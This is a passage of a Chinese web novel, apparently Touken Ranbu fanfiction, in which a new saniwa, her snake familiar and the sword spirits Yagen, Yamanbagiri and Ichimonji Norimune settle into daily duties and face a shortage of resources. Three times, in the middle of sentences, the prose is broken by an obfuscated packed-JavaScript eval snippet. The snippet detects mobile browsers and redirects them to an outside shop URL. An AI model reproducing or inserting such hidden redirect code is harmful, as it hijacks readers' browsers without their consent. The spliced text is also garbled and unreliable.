“咦?小虎,怎么了?”五虎退听到动静,连忙跑过来,当他看到那条突然出现、姿态极具威胁性的紫黑色小蛇时,脸色瞬间变得煞白。 “蛇!有蛇!”五虎退的声音带着哭腔,下意识地想要保护自己的小老虎,却又因为恐惧而不敢上前,只能僵在原地,眼泪在眼眶里打转,几只小老虎也纷纷聚拢到他脚边,害怕地低吼着,却又不敢真的扑上去。 宵雾注意到五虎退快要哭出来了,感觉有点害怕,打算在引起更大骚动前悄无声息地溜走,却听到另一个清脆的声音响起:“退?怎么了?哇!哪里来的蛇?!” 13.第十三章 宵雾原本只是想都弄一下那几只毛绒绒的小老虎,它觉得对方受惊炸毛、慌不择路的模样十分有趣,但当它注意到五虎退那双瞬间泛红的眼睛时,一种类似于“玩过头”了的心虚感便不受控制的漫上心头。 宵雾倒不是畏惧这些刀剑付丧神,只是担心被偏爱小孩子的源朝曦知晓它一来就惹哭小孩子会因此不高兴,虽然源朝曦很少真正的责备它,但那种不赞同的沉默目光更让它觉得难受。 宵雾收缩身体,金色的竖瞳闪过一丝犹豫,正想趁着场面混乱悄悄溜走,但一声清脆的惊呼让它想要溜走的动作不由得顿住了,它转过头便看见一个个子娇小、发色如暖橙般的少女正睁大双眼望着自己,更出乎意料的是对方脸上不见丝毫惧怕,反而写满了惊奇与雀跃? 等等?! 少女?! 这有哪里不对吧,时之政府不是说本丸里面全是刀剑男士吗?难道对方是一个女装大佬?还是说是和天下一振一样属于貌若好女的那类,然后因为主人的恶趣味穿上了女装?[1] “哇!好漂亮的蛇!这个颜色好像夜晚的紫阳花呀!”还没等宵雾理清自己的思绪,乱藤四郎已经几步跑到了它的跟前。[2] 乱藤四郎完全无视了一旁惊慌失措的五虎退和那几只缩成一团、瑟瑟发抖的小老虎,自顾自蹲下身,饶有兴致地仔细打量起宵雾来,这也让宵雾的恶作剧现场气氛骤变。 “乱、乱尼!小心,那是蛇!”五虎退带着哭腔提醒,下意识地想将凑近宵雾的乱藤四郎拉开。 “没关系啦,退,它看起来一点都不凶,而且好漂亮!”乱藤四郎非但没有像五虎退说的那样退后,反而又靠近了些,橙色的发丝在暮色中像温暖的火焰般燃烧。 乱藤四郎歪着头,碧蓝的眼睛里满是好奇:“你看它的鳞片还闪闪发光呢!是审神者大人带来的吗?” 宵雾被乱藤四郎这突如其来的热情弄得有些措手不及,它已经习惯了被其他人第一眼见到时被畏惧或警惕的目光注视,却很少遇到像乱藤四郎这样毫无防备、甚至带着欣赏的接近。 宵雾昂起的头颅微微放低,吞吐的蛇信也慢了下来,金色的竖瞳打量着眼前这个穿着裙装、胆大包天的“少女”。 就在这个时候,听到动静的短刀们也陆陆续续围过来,今剑像小猴子一样灵巧地窜到附近树枝上张望:“哇!真的有条蛇!退的小老虎被吓到了吗?” 秋田藤四郎怯生生地跟在厚藤四郎身后,小声说:“它好像没有攻击的意思?” 厚藤四郎则比较直接,挡在秋田和五虎退前面,皱着眉头:“这蛇哪里来的?本丸以前从没见过。” 小夜左文字沉默地出现,手已经按在了本体上,眼神锐利地盯着宵雾,言简意赅:“需要,砍了吗?” 爱染国俊则是一脸“有趣”的表情:“喔!看起来很有精神嘛!” 现场瞬间变得嘈杂起来,短刀们议论纷纷,但目光都聚集在宵雾身上,被这么多的目光注视着,宵雾刚才那点儿恶作剧得逞的快感早已消失,取而代之的是一种被围观的窘迫,它现在开始后悔招惹那几只毛绒绒了,但时光倒流的话,它还是会这么做的。 “发生了什么事?”药研藤四郎拨开围观的短刀们走了过来,他刚安排完一文字则宗的住处就听到这边的骚动。 “药研尼!”五虎退像是看到了救星,连忙指着宵雾,“有蛇!它突然冒出来吓唬小虎!” 药研藤四郎的目光立刻锁定在宵雾身上,他自然认出来这是新来的审神者大人刚才介绍给他的那条蛇,在看到五虎退眼圈发红、小老虎们惊魂未定的样子,又看到宵雾那明显有些“骑虎难下”的姿态后,他就已经明白刚才发生了什么。 “都冷静点儿,这位是审神者大人的伙伴——宵雾,它不会主动攻击,但似乎有些顽皮。”药研藤四郎先是安抚住众人,然后看向宵雾,“宵雾,希望你能遵守与大人的约定,不要引起不必要的恐慌。” 宵雾听懂了药研藤四郎话语中的提醒和告诫,它微微低下头,算是对此事做出的回应,毕竟一开始它确实没想搞出这么大的动静。 药研藤四郎这才转向短刀们,向他们继续解释:“这是审神者大人带来的,嗯,算是式神吧,只要不主动挑衅它,应该是无害的。” “审神者大人的蛇?”乱藤四郎更感兴趣了,“果然审神者大人很厉害啊!刚来就让万叶樱有了反应,还有这么特别的伙伴!” “原来是审神者大人的。”五虎退松了一口气,但看着宵雾还是有些害怕,小声对小老虎们说,“以后看到它要小心点哦。” 短刀们开始低声讨论起这位新主究竟有多厉害,毕竟刚来到本丸便成功复苏了本丸核心,本丸环境缓慢恢复,紧接着就有一条神秘的蛇出现,这一切都增加了源朝曦在他们心中的神秘感和分量。 药研藤四郎看看议论纷纷的弟弟等人,又看看似乎打算溜走的宵雾,无奈的摇摇头,看来这位新主和她的伙伴确实会给这个沉寂已久的本丸带来不小的波澜。 药研藤四郎挥挥手:“好了,现在没事了,晚餐时间也快到了,大家快去食堂吧。” 趁着小短刀们的注意力被转移走,宵雾悄无声息地滑入草丛,迅速离开了这个“是非之地”。 另一边,一文字则宗也在自己暂住的部屋内换下了那身引人注目的监察官制服,穿上一文字家标志性的白色西装与红色漏脚裤,搭配上黑皮鞋。 一文字则宗打量了一下这间依旧很简陋的屋子,脸上并无什么嫌弃之色,反而有种既来之则安之的坦然,整理好自己的仪容仪表后,他便摇着手中的折扇走向食堂。 沿途,一文字则宗注意到本丸的刀剑们也三三两两走向同一方向,气氛在沉寂中透着一丝因万叶樱复苏和新主到来而产生的微弱躁动。 不少刀剑也注意到了他这位新来的、衣着独特的太刀,目光中的探究多于欢迎,一文字则宗对此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16795346|189989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皆以微笑回应,态度从容。 食堂里已经聚集了不少刀剑,食物也是药研藤四郎最开始介绍的粥和酱菜,唯一值得称赞的是分量比较充足。 山姥切国广正沉默地帮忙分发食物,加州清光在和几个打刀抱怨着什么,同田贯正国大口吃着饭,狮子王和小狐丸坐在稍远的位置低声交谈,静形薙刀独自坐在角落,高大的身影显得有些落寞……整个食堂弥漫着一种资源匮乏环境下特有的、克制的氛围。 一文字则宗端着自己的晚餐找了个空位坐下,他并不急于与人攀谈,而是先观察着整个食堂刃们的互动,像一位冷静的观众开始熟悉这个他即将融入的“舞台”。 当宵雾像一道影子般溜回天守阁时,源朝曦正坐在窗边借助本丸核心复苏后逐渐浓郁的灵力缓慢地引导着自己体内那丝微弱的信仰之力修补丹田。 宵雾熟练地攀上源朝曦的手腕,用冰凉的鳞片蹭了蹭她,然后将刚才的经历——尤其是如何吓唬小老虎、五虎退差点被吓哭以及乱藤四郎不同寻常的反应——绘声绘色地传递了过去。 对于今剑等刃,宵雾只是简单带过,因为反应太过寻常,它重点描述了那个不怕它、还夸它漂亮的“少女”和那个胆小的孩子。 “女装?不怕蛇?还夸你漂亮?”源朝曦低声重复,指尖轻轻点着窗棂,这让她想起她曾经恶趣味地让某位容貌昳丽的太刀穿上太刀,没想到竟然意外的合适,不知道这个世界的天下一振能不能再满足她这个愿望。 而对于会撒娇或者是性格独特的孩子,源朝曦想来容易多留意几分,乱藤四郎和五虎退两刃恰好触及了她的这个偏好。 “看来这个本丸比我想象的要有趣一些。”宵雾感受到源朝曦并未因为它的恶作剧而真正不悦,反而对它所描述的对象产生了兴趣,顿时放松下来,亲昵地缠紧了她的手腕。 “不过玩闹须有度,莫要真吓坏了孩子。”源朝曦话锋一转,她可以纵容宵雾的这个难得的小趣味,但前提是不触及她的底线,五虎退那快要哭出来的样子显然接近了这个底线。 宵雾乖巧的点点小脑袋,它想那个叫乱藤四郎的好像不怕它,以后可以多找他“玩”,至于五虎退和他的小老虎,嗯,也许可以换种方式相处?它已经开始盘算下一次的“游戏”了。 源朝曦重新将目光投向窗外,夜色下的T57本丸,万叶樱的枯枝在微弱的灵力流光映照下勾勒出诡异的轮廓,远处食堂的灯火透出零星暖意,隐约的人声随着夜风飘来。 一文字则宗应该已经融入其中开始观察,药研藤四郎在维持着本丸的运转,短刀们有着各自的性情……这个看似死气沉沉的“烂摊子”,内里却蕴含着复杂的动态和可能性。 源朝曦已经迈出了自己的第一步,展示出一定的力量,也选择了看似合适的“缓冲”角色,接下来就是要如何在这个充满“历史遗留问题”的本丸中一边维持必要的平衡,一边悄然恢复力量并逐步实施她的计划了。 14.第十四章 夜色渐深,T57本丸的刀剑男士们在一种略显沉闷却又暗潮涌动的氛围中结束了晚餐,他们就这样在各自收拾自己的碗筷的同时低声交谈着,目光不时瞥向独自坐在一隅、姿态优雅地擦拭嘴角的一文字则宗,也偶尔飘向天守阁的方向。 山姥切国广沉默的协助其他人收拾食堂,他拉低兜帽将自己的表情遮挡住,但紧绷的下颌线却显露出他并非众人想象的那般平静。 药研藤四郎则更为利落,指挥着几个短刀清理现场,冰冷的镜片在食堂昏暗的灯光下划过一道锐利的光弧,那层恰到好处的反光巧妙的形成一道屏障,将他眼底翻涌的思绪全部遮挡住。 旁人看去只能见到药研藤四郎镜片上模糊的白光,仿佛他的注意力全部都集中在指挥几个小短刀有序工作上,但实际上他的目光却如手术刀般精准而冷静地扫过全场,将众刃的反应尽收眼底。 最后药研藤四郎的目光不着痕迹地投向天守阁的方向,室内的灯光将审神者的身影映在窗户上,他扶了镜框的手顺势落下,指尖无意识地摩挲着腰间短刀的刀柄。 一文字则宗仿佛对周遭的打量浑然不觉,在用完晚餐后并未立刻返回部屋,而是摇着手中的折扇,借着周围昏暗的灯光信步走向庭院,看似随意地欣赏着夜色下初现生机的本丸,实则在心中快速勾勒着本丸的势力分布与成员性格的初步画像。 T57本丸最终在微弱的灵力流动中陷入一片寂静,唯有天守阁窗口透出的一点幽光映照着源朝曦苍白而专注的侧脸。 源朝曦指尖萦绕着的那一丝几不可察的暗金流光正小心翼翼地渗入她身下简陋的榻榻米,试图与脚下土地和那棵刚刚被唤醒的万叶樱建立更深的联系,借此更高效地汲取空气中稀薄的灵力来温养己身。 缠绕在手腕间的宵雾金色竖瞳在黑暗中如同两点鬼火,正警惕地监视着四周,同时将本丸各处细微的动静——比如说短刀部屋逐渐平息的窃窃私语以及个别刀剑夜巡的脚步声——通过契约无声的传递给源朝曦。 对于这位习惯于掌控全局的古老存在而言,这种程度的“噪音”尚在源朝曦可以接受的范围内,甚至能帮助她快速熟悉这个临时驻地。 次日清晨,当第一缕熹微的晨光勉强穿透本丸依旧有些灰蒙的天空时,源朝曦缓缓睁开双眼,经过一夜的调息,她苍白的脸色略有些许好转,但她丹田深处的隐痛依旧如影随形。 源朝曦能够感觉到本丸的灵力浓度在经过万叶樱的初步复苏后确实有了一丝微弱的提升,但对于修复她体内丹田上那些触目惊心的裂痕而言,不过是杯水车薪,但没关系,她最不缺的就是时间了。 源朝曦走到矮桌前坐下,缠绕在手腕间的宵雾悄然滑落盘踞在桌角处,慵懒的吐着蛇信子,她的目光落在空处,脑海中却在飞速转动规划今日的安排,首要之事便是尽快让本丸步入一个既能满足时政基本要求、又能最大限度为她创造清净环境的轨道。 轻微的脚步声由远及近,最后停在门口处,旋即,轻微的敲门声便在门外响起。 “大人,是我们,山姥切国广和药研藤四郎。” “请进。” 两人推门而入,山姥切国广依旧拉着他的白兜帽,试图用它遮挡住自己大部分的面容,但紧抿的唇角泄露了他的严肃,药研藤四郎则一如既往的冷静,镜片后的目光快速扫过源朝曦的脸色,眉头几不可查地蹙了一下。 山姥切国广和药研藤四郎两人对视一眼,最后由药研藤四郎上前一步,将一份手写的清单放在矮桌上,清单上字迹工整,详细罗列了时政送来的初始资源种类和数量以及本丸现有刀剑的名录和简单的练度、特性备注。 “大人,这是您到来前本丸的状况简报以及目前本丸的资源储备。”药研藤四郎的声音平稳。 “按照时政的规定,拥有审神者的本丸将不再允许在刀剑男士专供的任务中心接取外部任务,转为完成固定的日课内容获取资源,我们两刃前来是想与您商讨今日及后续的日课安排。” 源朝曦并未细看药研藤四郎放在桌子上的清单,只是将其轻轻推到一边,“我说过本丸的日常运转仍有你们负责,日课的安排你们与一文字则宗商议决定即可,无需事事向我请示。” “我只需要知道最终结果以及确保本丸在时政的评估中处于‘合格’线之上。”源朝曦只向他们提出了一点要求。 “但是日课需要灵力支持,而且资源的分配和使用……” “我会为你们提供充足的灵力,至于资源,它既然已经交给了你们便是由你们支配。”源朝曦打断了山姥切国广的话,同时心生疑惑,山姥切国广是这个性格吗,怎么感觉和别人跟她描述的不太一样呢,是什么世界差异吗? “药研,我相信你和山姥切的责任心,一文字则宗作为时政的前监察官可以协助你们两刃规避时政规则上的风险,事情就由你们三人商量着办,遇到无法决断的冲突再来找我。” 这是明确的放权,也是对他们的考验,药研藤四躬身道:“我明白了,大人。我们会在拟定一个初步方案后再向您汇报。” “嗯。”源朝曦颔首,似乎想起什么继续补充道,“我的身体状况仍需静养,非必要不必打扰,日常事务由你们和一文字则宗处理,若有急事可通过狐之助通知我。” “另外,药研,多谢关心,我的伤情况有些特殊,一般的治疗方案不会起效果的,需要用灵力慢慢温养。”源朝曦看向药研藤四郎,轻描淡写地堵住对方可能提出的诊疗建议,既承认了对方的观察力,也划清了界限。 药研藤四郎看出来这位新主意志坚定且对自身情况有清晰的认知,在沉默片刻后只能答应了对方的要求:“是,请您务必保重身体。若有任何需要,请随时吩咐。” 两人告退后,源朝曦重新阖上眼,继续引导那丝微弱的信仰之力修补丹田和增加本丸内部的灵气浓度,桌角处的宵雾无聊的甩了甩尾巴尖,片刻后就不知道跑到哪里去了。 山姥切国广和药研藤四郎在天守阁的回廊下找到了正在悠闲品茶的一文字则宗,看来对方正是在这里等待他们两人的到来,至于茶叶,应该是对方自带的,毕竟按照T57本丸之前的状况,次郎殿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16800242|189989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都已经很久没有喝酒了,怎么可能会有茶叶的存货呢。 一文字则宗今天换了一身灰白色的、装饰有黑色菊花纹样的长款和服外套,内穿一件黑色内搭,下面是一条灰白色的长裤和一双人字拖,腰间一条红黑配色的腰带,手中则是一直没离手的折扇,他的这一身装扮相较于昨日的正式,更添了几分闲适与随意,但那双含笑的眼眸依旧洞察。[1] “山姥切殿,药研殿,早啊。”一文字则宗摇着折扇,“看二位的神色,是主上已有决断了?” 药研藤四郎言简意赅的转达了源朝曦的意思,山姥切国广在一旁沉默地听着,周身气压更低了些。 将日课安排和资源支配权完全下放,这位新主的心也太大了,是对他们完全信任,还是根本不在意这个本丸会变成什么样? 三人就这样在回廊边坐下,药研藤四郎拿出本丸刀剑名录和日课要求清单。 本丸的现状也十分清楚:本丸刀剑练度普遍不高,且由于来自不同的本丸,彼此之间配合生疏;资源紧缺,虽有时政的初始资源支撑,但坐吃山空绝非长久之计;日课必须完成,可如何分配任务,平衡资源获取和刀剑状态是他们目前面临的首要难题。 “出阵是获取资源的大头,但也最危险,需要审神者灵力支持。”药研藤四郎分析道,“可依照大人目前的身体状况看,恐怕无法支持我们长时间或高强度的出阵。” “远征相对安全,但耗时较长,资源回报率不如出阵。”山姥切国广补充,“而且之前为了维持生计,本丸的马早就卖了,无法提高大家的出阵效率。” 一文字则宗用扇骨轻点下颌:“演练和内番是稳定收入,但可获得的资源量过少,当务之急是尽快让本丸形成可持续的运转模式,因此我建议,初期以低强度、低风险的日课为主,让刀剑男士们在适应新的节奏的同时积累资源。” 他看向山姥切国广:“山姥切殿,你是初始刀,对本丸各位的实力和心性最了解,由你来初步拟定出阵和远征的队伍名单,如何?尽量考虑均衡和安全性,练度相近、有过合作经验的优先。” 山姥切国广愣了一下,似乎没想到一文字则宗会直接把这么重要的任务交给他,他抿了抿唇,最终点头:“我试试。” “药研殿负责内番安排和资源调配。”一文字则宗继续道,“畑当番和马当番暂时无法开展,但手合必须坚持。资源方面,精打细算,优先保障出阵远征队伍的刀装和修复需求。” 药研藤四郎推了推眼镜:“明白。” “我会从旁协助,确保流程符合时政规范,并处理与狐之助的对接事宜。”一文字则宗笑眯眯地说,“若有争议或不决之处,我们再一同商议或请示主上。” 初步的方案很快就被讨论出来:今日先完成日常签到,选择一个安全的时代进行一次低强度出阵、一次短程远征以及手合内番。 出阵队伍由山姥切国广亲自带领,成员选择了相对沉稳的加州清光、堀川国广、同田贯正国、爱染国俊以及侦查能力优秀的今剑,远征队则由笑面青江带领几名短刀进行。 15.第十五章 初步的行动方案就这样在回廊下被迅速敲定,效率之高与这座本丸之前的迟滞、宛如一潭死水般的场景形成鲜明对比。 山姥切国广下意识地拉紧兜帽,药研藤四郎则推了推眼镜,两位T57本丸的原管理者交换了一个短暂的眼神,其中混杂着如释重负与挥之不去的忧虑。 这位新上任的、代号“凤黯”的审神者所表现出来的全然放权就像是一把双刃剑,一方面它意味着前所未有的信任与自由;另一方面,在这危机四伏的时空里,这种近乎撒手不管的姿态也让他们感到一种久违的茫然。 值得庆幸的是,一文字则宗的存在如同在这片未知水域中固定的锚点,至少意味着他们无需继续在繁琐的文书流程和规则迷宫中独自挣扎,一条相对清晰的路径已经悄然铺开。 初步方案被敲定后,山姥切国广与药研藤四郎两刃兵分两路行动起来,药研藤四郎负责清点资源并制作今日出阵人员所需要的刀装,山姥切国广则走向庭院处,准备将今日的日课安排分配下去。 一文字则宗摇晃着手中的折扇,目送两刃离开,随后便走向天守阁方向,准备填写今日的日课安排,确保等到上交资料的时候不会手忙脚乱。 当“回归正常本丸日课”的消息如同投入平静湖面的石子在本丸的各个角落荡开层层涟漪时,所引起的反响是复杂的。 对于长久以来如同佣兵般依靠在任务中心接取的各种零散、高危任务才能换取那仅能果腹的劣质灵力球的刀剑们而言,“正常”二字恍如隔世。 那不仅代表着规律的出阵、井然有序的内番与手合以及围绕着温暖灯火进行的研讨,那是一种浸润在稳定灵力流中的秩序,是一种他们几乎已经遗忘的“家”的模样。 “出阵?去哪个时代?可别是难度太高的地方啊,我现在这幅样子可不够可爱呢。”话虽这么说,但加州清光拨弄着自己指甲上早就已经变得斑驳的红色指甲油,语气中却带着久违的跃跃欲试。 “哼,总算不用再去接那些乱七八糟的零工了,是男人就该正面战斗!”同田贯正国的目光扫过周围刃,显然在评估潜在队友的实力,”我们的队伍要怎么安排?“ 堀川国广更加关心自己的搭档:“卡内桑,或许我们这一次能够一起出阵?” 和泉守兼定甩了甩高马尾,故作潇洒:“那是当然了,国广,像我这样帅气与实用性兼具的刀剑肯定会被选上的,作为我助手的你肯定也会被选上的!” 话虽然这么说,但和泉守兼定的眼中也有一丝丝不自信,毕竟作为刀剑本身,荒废太久了手感也有可能会生疏,但应该不会到这种地步吧? “……今日的出阵地点是‘江户的记忆·江户’,队长:山姥切国广,队员:加州清光、堀川国广、同田贯正国、爱染国俊、今剑……”在所有人的注视下,山姥切国广有些僵硬的说出了名单,被点名的刃神色各异,未被选中的也大多沉默观望。 药研藤四郎在高效地清点完毕资源后,将制作好的刀装分发给出阵队伍,资源有限,他们必须将每一分资源都用在刀刃上。 一文字则宗开始熟练地填写今日的日课表格,确保整体流程上毫无瑕疵,避免给时政任何介入的借口,他和狐之助交谈时语气轻松,就像是在进行日常寒暄,但却在话语间巧妙地将“审神者大人需要静养,本丸事务由我等暂代”的信息传递出去,并暗示这是经过主上首肯的。 天守阁内,源朝曦看似在闭目调息,但灵识却早就被放出,现在正如同无形的蛛网般悄然蔓延在本丸各处,让她能将本丸各处细微的动静尽收耳中。 源朝曦可以“听”到山姥切国广在宣布名单时略显干涩的声音,“看”到了药研藤四郎冷静分发刀装时的动作,也能“感知”到一文字则宗与狐之助周旋时那滴水不漏的应对。 对于这三刃初步展现出的能力与配合,源朝曦心中略感满意,放权是策略,但她并非完全放任,必要的掌控依旧不可或缺。 出阵队伍就这样在山姥切国广的带领下通过时空转换器前往“江户的记忆·江户”,也就是审神者门口中的2-2地图,再次在审神者灵力支持下的出阵和之前的出阵感觉是截然不同的。 虽然源朝曦提供的灵力如同涓涓细流,但那股精纯的力量萦绕在他们周身,依旧为他们带来的久违的安心感和轻微的力量增幅,想来等到她完全康复后,这群刃的力量会远超同等级同振。 但长期以来的各自为战和配合生疏绝非一朝一夕之间就能够弥补,面对突然出现的时空溯行军,整个队伍的反应起初有些混乱,但很快他们的本能就告诉他们要怎么做才能配合的更好。 “左边!加州,注意协防!”山姥切国广格开一柄敌打刀的袭击,声音带着急切从兜帽下传出。 “我知道啦!不用你提醒!”加州清光险险避过攻击,语气有些冲,但动作却配合着山姥切国广进行了反击。 “哇哦!真有精神!”爱染国俊大笑一声,挥舞本体冲入敌阵,势头虽猛却有些脱离了队伍的整体节奏。 今剑凭借出色的机动性穿梭战场进行侦查和骚扰,同田贯正国则稳扎稳打,堀川国广努力弥补着队伍配合间的缝隙。 战斗算不上顺利甚至有惊险时刻,但最终他们还是成功击退了这一波敌人,无人重伤,只是些许轻伤和疲劳。 就在队伍稍作休整,准备前往下一个节点的时候,今剑突然指着战场边缘的一处阴影:“咦?那个是审神者大人的蛇?” 除了爱染国俊,侦查比不上短刀的其他人仔细寻找了半天还是没有找到宵雾的所在地,直到实在看不下去或者说终于看笑话看够的宵雾主动出现在他们面前,他们才发现宵雾的存在。 紫黑色的鳞片在江户时代的阳光下泛着幽光,宵雾盘踞在一块石头上,金色的竖瞳正懒洋洋地“打量”着他们,尾巴尖有一下没一下地轻轻拍打着地面,仿佛在评价刚才那场战斗的观赏性。 山姥切国广:“……” 加州清光:“它什么时候跟来的?!” 堀川国广:“难道是为了保护我们?” 同田贯正国:“……看起来不像。” 宵雾对这群刃的议论毫无反应,只在他们重新重新列队出发时,悄无声息地滑下石头,与他们保持着一段距离,不紧不慢地跟在了队伍后面。 宵雾的存在让这次出阵增添了一丝被“监护”的诡异感,也让众刃不由自主地更加注意起自己的战斗姿态,仿佛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16810581|189989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不愿在这位审神者的“使者”面前过于丢脸。 与此同时,由笑面青江带领的短刀远征队也出发了,他们的等级刚刚好允许他们前往“美浓国的决战”,就是织田信长与与斋藤氏之间长达十余年的征战,最终以织田信长最终攻占后来被改名为岐阜城的稻叶山城为决定性胜利的那场战役。[1] 远征过程相对平静,没有什么战斗风险,但笑面青江那标志性的、略带暧昧的低语和时不时冒出的诡异笑话让同行的几名短刀一路上多多少少有些无语,不过任务还是顺利完成了,他们也成功带回一些基础资源,虽然不多,但至少是一个好的开始。 本丸内今日的内番也在进行中,手合室传来了兵刃交击的声音,负责今日手合内番的刀剑正在对练,不过为了节省资源,他们依旧使用的与他们本体一致的木制刀剑。 畑当番和马当番因条件所限依旧无法开展,但药研藤四郎已经安排部分刀剑开始清理荒废的田垄,为未来可能的恢复做准备,整个本丸虽然依旧破败,却隐隐流动着一股久违的生机。 当出阵队伍带着些许疲惫和轻伤以及一个意外的小尾巴宵雾返回本丸时,远征队也几乎同事归来,药研藤四郎立刻上前检查出阵队伍的伤情,安排伤者前往修复室。 被带回来的资源也被清点入库,虽然这次的收获谈不上丰厚,但这也是T57本丸在漫长时光后第一次通过“正常”的日课途径获得的资源,意义非凡。 傍晚时分,初步的统计结果出来了,虽然有一些敷衍,但今天本丸将所有的日课成功完成,获得的基础资源对于庞大的本丸需求来说仍然是杯水车薪,但至少是一个开端。 更重要的一点是出阵队伍中没有刀剑重伤,队伍得到了实战磨合,本丸的日常运转齿轮在停滞许久后终于发出了生涩但确实存在的转动声。 山姥切国广和药研藤四郎再次来到天守阁,向源朝曦简单汇报了今日的情况,包括出阵的经过、远征的结果、资源获取以及宵雾的意外跟随。 “做的不错,日后的日课安排依旧有你们三人商议决定,定期汇总即可。”源朝曦的声音依旧带着一股挥之不去的虚弱感,她顿了顿又继续说,“至于宵雾,只要不影响正事就随它去吧。” 山姥切国广和药研藤四郎两刃再次对视了一眼,他们的这位新主似乎真的打算当一个甩手掌柜,但她的这份信任又让他们感到一种无形的压力。 因此他们两刃决定必须要尽快让本丸真正运转起来,不能辜负这份信任,也不能让这个好不容易看到一丝希望的本丸再次沉沦。 夜色再次降临,T57本丸在一种微妙的、混合着疲惫、希望与不确定性的气氛中沉寂下来,源朝曦继续着她的疗伤,宵雾盘踞在梁上,金色的竖瞳在黑暗中闪闪发光。 一文字则宗在自己的部屋内把玩着折扇,回味着这一日的种种,山姥切国广在回廊下擦拭本体,药研藤四郎则在灯下规划着明日的安排,其他的刀剑们也各自怀揣着心思,在这个刚刚开始流动起来的“家”中寻找着自己的位置。 磨合才刚刚开始,未来的路依旧漫长且充满未知,但无论如何,改变的齿轮已经转动,这个被遗忘的角落终于迎来了一丝不同寻常的光亮。 16.第十六章 日复一日,T57本丸在新的节奏中运转着,山姥切国广和药研藤四郎两刃作为实际的管理者展现出了与以往不同的风貌。 长期的自主管理早就已经磨砺了药研藤四郎的自信心和决断力,更不要说山姥切国广这个原本有些自卑的存在了,面对新主的放权,他们最初的茫然很快就被责任感所取代。 虽然山姥切国广依旧会习惯性地拉低兜帽,但在出阵指挥时他的声音不再像第一次那样干涩犹豫,而是带着清晰的指令和不容置疑的权威性,他对本丸内每一振刀剑的实力和特性都了如指掌,出阵的队伍调配也愈发合理。 药研藤四郎则将他特有的细致和冷静发挥到极致,资源管理、内番安排方面井井有条,他甚至开始利用有限的资源尝试培育一些生长周期短、对灵力要求不高的药用植物,希望能为本丸增加一点儿自给自足的能力。 虽然源朝曦明确表示完全无需为她准备特殊膳食,但药研藤四郎还是会留意天守阁的动静,确保热水和基本的茶点供应不断,他这种无声的关怀如同润物细无声的春雨悄然改变着刀剑们对新主“漠不关心”的初始印象。 一文字则宗完美的扮演着本丸“润滑剂”和“防火墙”的角色,他李勇自己对时政规则的熟悉确保本丸的各项汇报文书毫无瑕疵,让狐之助更重要的是其背后的时政跳不出错处。 当本丸内不出现小的摩擦或者是意见分歧时,一文字则宗总能以那种看似随意、实则精准的方式介入调停,既能化解矛盾,又维护了山姥切国广和药研藤四郎的权威。 但在这平稳的表象下,本丸资源匮乏的阴影始终挥之不去,日课获得的资源对于二十多振刀剑的日常消耗、刀装补充和修复来说暂时是杯水车薪。 仓库里源朝曦带来的初始资源正在缓慢但稳定地减少,一种无形的压力开始在三位管理者的心头聚集,他们意识到必须尽快寻求解决方案,否则这刚刚点燃的微弱火苗恐怕会有再次熄灭的危险。 这一日,在完成了基本的日课汇报后,山姥切国广、药研藤四郎与一文字则宗三刃罕见的没有立刻散去,而是聚集在天守阁附近那间被临时用作管理办公室的房间内。 药研藤四郎将最新的一份资源清单放在矮桌上,上面清晰地罗列出各项资源的收支与结余,触目惊心的数字让室内的空气都显得沉重了几分。 虽然已经预料到资源的短缺,但真实的数据还是让山姥切国广和一文字则宗两刃大吃一惊,山姥切国广兜帽下的眉头紧锁,一文字则宗摇扇的动作也慢了下来,脸上惯有的笑意淡去,露出深思的神色。 “情况不容乐观。”药研藤四郎的声音依旧十分冷静,但指尖点着清单上几个关键数字,“按照我们目前的消耗速度再加上日常手入和必要的刀装补充,大人带来的初始资源最多只能够我们支撑两个月,而日课收入远远跟不上。“ “必须想办法开源节流。”山姥切国广躲藏在兜帽下闷闷开口,长期的管理经验让他下意识的进入状态,“节流方面,药研,内番和手合的资源消耗能否再压缩?非必要的修复能否暂缓?” 药研藤四郎推推眼镜:“手合使用木刀已是极限,再减少投入会影响训练效果。修复的话,轻伤可以依靠自身恢复力,但重伤不能省,更何况为了获得更多的资源,大家最近一直在努力推图。” “或许可以在膳食上再精简一些,虽然现在已经很基本了。”药研藤四郎看向窗外正在清理田垄的几名刀剑,“但审神者大人的膳食不能精简,她的伤还没好。” 一文字则宗用合拢的扇骨轻轻敲着桌面:“节流是必须,但终究有限,关键还在开源。日课收入固定,想要突破,无非是提高日课完成效率或者寻找日课之外的资源获取途径。” 